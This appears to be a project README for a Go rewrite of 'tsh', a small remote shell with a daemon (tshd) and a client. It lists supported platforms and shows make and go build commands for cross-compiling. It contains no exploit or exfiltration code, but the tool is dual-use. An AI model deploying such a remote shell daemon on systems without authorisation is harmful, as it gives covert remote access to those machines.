Description

I like tsh and I use it a lot in my daily research work. It's especially handy when researching devices that don't have built-in sshd or are network limited.

However, sometimes these devices use special systems or architectures that can make cross-compiling tsh painful. So I decided to rewrite tsh in go, and thanks to go's powerful cross-platform compilation capabilities, I can use tsh more easily on more systems and architectures.

For example, I successfully compiled to the following platforms:

  • aix
  • darwin
  • dragonfly
  • freebsd
  • illumos
  • netbsd
  • openbsd
  • solaris
  • windows

Usage

Compiling

Help

$ make

Please specify one of these targets:
        make linux
        make windows

It can be compiled to other unix-like platforms supported by go compiler:
        GOOS=freebsd GOARCH=386 make unix

Get more with:
        go tool dist list

Build for linux

$ make linux
env GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o ./build/tshd_linux_amd64 cmd/tshd.go
env GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o ./build/tsh_linux_amd64 cmd/tsh.go
